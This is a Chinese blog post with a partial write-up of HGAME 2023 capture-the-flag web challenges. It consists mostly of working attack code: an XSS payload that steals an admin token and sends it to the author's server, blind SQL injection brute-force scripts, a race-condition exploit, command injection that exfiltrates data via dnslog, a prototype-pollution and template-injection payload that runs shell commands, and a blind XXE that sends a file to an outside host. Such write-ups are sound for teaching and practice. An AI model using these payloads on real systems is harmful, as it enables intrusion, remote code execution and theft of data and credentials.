HGAME2023部分WP-CSDN博客

本文链接：https://blog.csdn.net/qq_39788411/article/details/133052194

Search Commodity

爆破密码admin123
登录进去，

Designer

app.post("/button/share", auth, async (req, res) => {
  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: ['--no-sandbox']
  });
  const page = await browser.newPage()
  const query = querystring.encode(req.body)
  await page.goto('http://127.0.0.1:9090/button/preview?' + query)
  await page.evaluate(() => {
    return localStorage.setItem("token", "jwt_token_here")
  })
  await page.click("#button")

  res.json({ msg: "admin will see it later" })
})

通过这个路由，大概能确定他是一个XSS

app.get("/button/preview", (req, res) => {
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
  ]
  for (const key in req.query) {
    for (const item of blacklist) {
      if (item.test(key.trim()) || item.test(req.query[key].trim())) {
        req.query[key] = ""
      }
    }
  }
  res.render("preview", { data: req.query })
})

这里也是对一些Js代码的过滤，然后把一些可控变量输出到页面中
并没有对html标签进行过滤
让按钮的最后一个属性等于1，发现效果是这样的payload：1;"></a><script>prompt(1)</script>
成功弹窗了
根据代码

app.post("/user/register", (req, res) => {
  const username = req.body.username
  let flag = "hgame{fake_flag_here}"
  if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
    flag = "hgame{true_flag_here}"
  }
  const token = jwt.sign({ username, flag }, secret)
  res.json({ token })
})
app.get("/user/info", auth, (req, res) => {
  res.json({ username: req.user.username, flag: req.user.flag })
})

可以看到，如果是127.0.0.1注册admin，就会获取带有真实flag的auth头
写个payload伪造一下

var xhr=new XMLHttpRequest();
xhr.open('post','http://127.0.0.1:9090/user/register',false);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")
data={"username":"admin"};
xhr.send(JSON.stringify(data));
h=String(xhr.responseText);
url='http://39.101.70.33:7890/'+h;
console.log(url);
var upd=new XMLHttpRequest();
upd.open('get',url,false);
upd.send('token');

放到自己vps上面payload：1;"></a><script src="http://39.101.70.33:1234/xss.js"></script>
nc监听vps的3000端口
拿到token

get新技巧：regexp代替等号

import requests

data = {"username": "testuser",
        "password": "1'or/**/(length(database())-{i})#"
        }
url = "http://week-3.hgame.lwsec.cn:30164/login"
"""
库名：L0g1NMe
表名：User1nf0mAt1on
列名：id,UsErN4me,PAssw0rD
用户名：hgAmE2023HAppYnEwyEAr,testuser
密码：WeLc0meT0hgAmE2023hAPPySql,testpassword
flag：hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}
"""
#库名是bp手动猜出来的
#猜表名
for i in range(14, 0, -1):
    for asc in range(0, 127):
        data = {"username": "testuser",
                "password": f"1'or/**/(select(ascii(right(group_concat(table_name),{i}))-{asc})from(information_schema.tables)where(table_schema)regexp(database()))#"
                }
        m = requests.post(url, data=data)
        if m.text.find("Failed") > 0:
            print(chr(asc), end="")
#猜列名
for i in range(20, 0, -1):
    for asc in range(0, 127):
        data = {"username": "testuser",
                "password": f"1'or/**/(select(ascii(right(group_concat(column_name),{i}))-{asc})from(information_schema.columns)where(table_schema)regexp(database()))#"
                }
        m = requests.post(url, data=data)
        if m.text.find("Failed") > 0:
            print(chr(asc), end="")
#猜用户名
for i in range(30, 0, -1):
    for asc in range(0, 127):
        data = {"username": "testuser",
                "password": f"1'or/**/(select(ascii(right(group_concat(UsErN4me),{i}))-{asc})from(L0g1NMe.User1nf0mAt1on))#"
                }
        m = requests.post(url, data=data)
        if m.text.find("Failed") > 0:
            print(chr(asc), end="")
#猜密码
for i in range(39, 0, -1):
    for asc in range(0, 127):
        data = {"username": "testuser",
                "password": f"1'or/**/(select(ascii(right(group_concat(PAssw0rD),{i}))-{asc})from(L0g1NMe.User1nf0mAt1on))#"
                }
        m = requests.post(url, data=data)
        if m.text.find("Failed") > 0:
            print(chr(asc), end="")

Gopher Shop

逻辑漏洞，刚开始的时候毫无头绪(看到Gopher还以为是ssrf，看了两天源码才发现)
漏洞点

func SellProduct(context *gin.Context) {
	username, _ := context.Get("username")

	user, err := db.GetUserByUsername(username.(string))
	if err != nil {
		return
	}
	product := context.Query("product")
	price, err := db.GetProductPrice(product)
	number, err := strconv.Atoi(context.Query("number"))
	sum, err := utils.GetOrderSum(username.(string))
	_, exist := sum[product]
	if !exist {
		sum[product] = 0
	}
	//校验是否卖的出
	if err != nil || number < 1 || sum[product] == 0 || uint(number) > sum[product] {
		context.JSON(400, gin.H{"error": "invalid request"})
		return
	}
	user.Days -= 1
	user.Inventory += uint(number)
	user.Balance += uint(number) * price
	err = db.UpdateUserInfo(user)

	if err != nil {
		context.JSON(500, gin.H{"error": "add balance and inventory error"})
		return
	}

	err = db.AddOrder(username.(string), product, uint(number), false)
	if err != nil {
		context.JSON(500, gin.H{"error": "add order error"})
		return
	}

	context.JSON(200, gin.H{"message": "success"})

}

他是先检验能不能卖出然后再扣除天数，貌似Day啊什么的都是无符号数，-1就会向下溢出
先注册个账号，买个苹果，写个脚本同时发几个卖出的请求，就会实现溢出了

import grequests

headers = {
    "Cookie": "session=MTY3NTMyNzQxNXxEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dIQUFWaFpHMXBiZz09fOqhhdrRK-mTV7WlzbtFQz23Yl8wLCWhsRreEY3hpgmK"
}
urlSell = "http://week-3.hgame.lwsec.cn:31808/api/v1/user/sellProduct?product=Apple&number=1"
reqList=[]
for i in range(10):
    reqList.append(grequests.get(urlSell,headers=headers))
grequests.map(reqList)

成功溢出，接下来就是刷钱买flag

Ping To The Host

一眼rce，而且没有回显，采用dnslog外带
ip=`whoami`.tlodcb.dnslog.cn
ip=`c\at$IFS$9/f*`.tlodcb.dnslog.cn
直接cat flag
最开始做的时候我是ls然后一个一个sed出来的，谁让我是老实人呢

Shared Diary

漏洞函数

function merge(target, source) {
    for (let key in source) {
        // Prevent prototype pollution
        if (key === '__proto__') {
            throw new Error("Detected Prototype Pollution")
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

利用点

app.all("/login", (req, res) => {
    if (req.method == 'POST') {
        // save userinfo to session
        let data = {};
        try {
            merge(data, req.body)
        } catch (e) {
            return res.render("login", {message: "Don't pollution my shared diary!"})
        }
        req.session.data = data

        // check password
        let user = {};
        user.password = req.body.password;
        if (user.password=== "testpassword") {
            user.role = 'admin'
        }
        if (user.role === 'admin') {
            req.session.role = 'admin'
            return res.redirect('/')
        }else {
            return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
        }
    }
    res.render('login', {message: ""});
});

原型链污染，过滤了__proto__
构造payload:

{
"constructor":{
	"prototype":{
		"role":"admin",
		"username":"user"
		}
	}
}

登录上去发现是个模板注入payload： diary=<%= global.process.mainModule.constructor._load('child_process').execSync('cat /flag')%>
拿到flag

Tell Me

无回显XXE
flag在flag.php
xxe.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://39.101.70.33:7890/%file;'>">

payload

<!DOCTYPE convert [ 
	<!ENTITY % remote SYSTEM "http://39.101.70.33:1234/xxe.dtd"> %remote; %int; %send; 
]>
<user><name>1</name><email>1</email><content>1</content></user>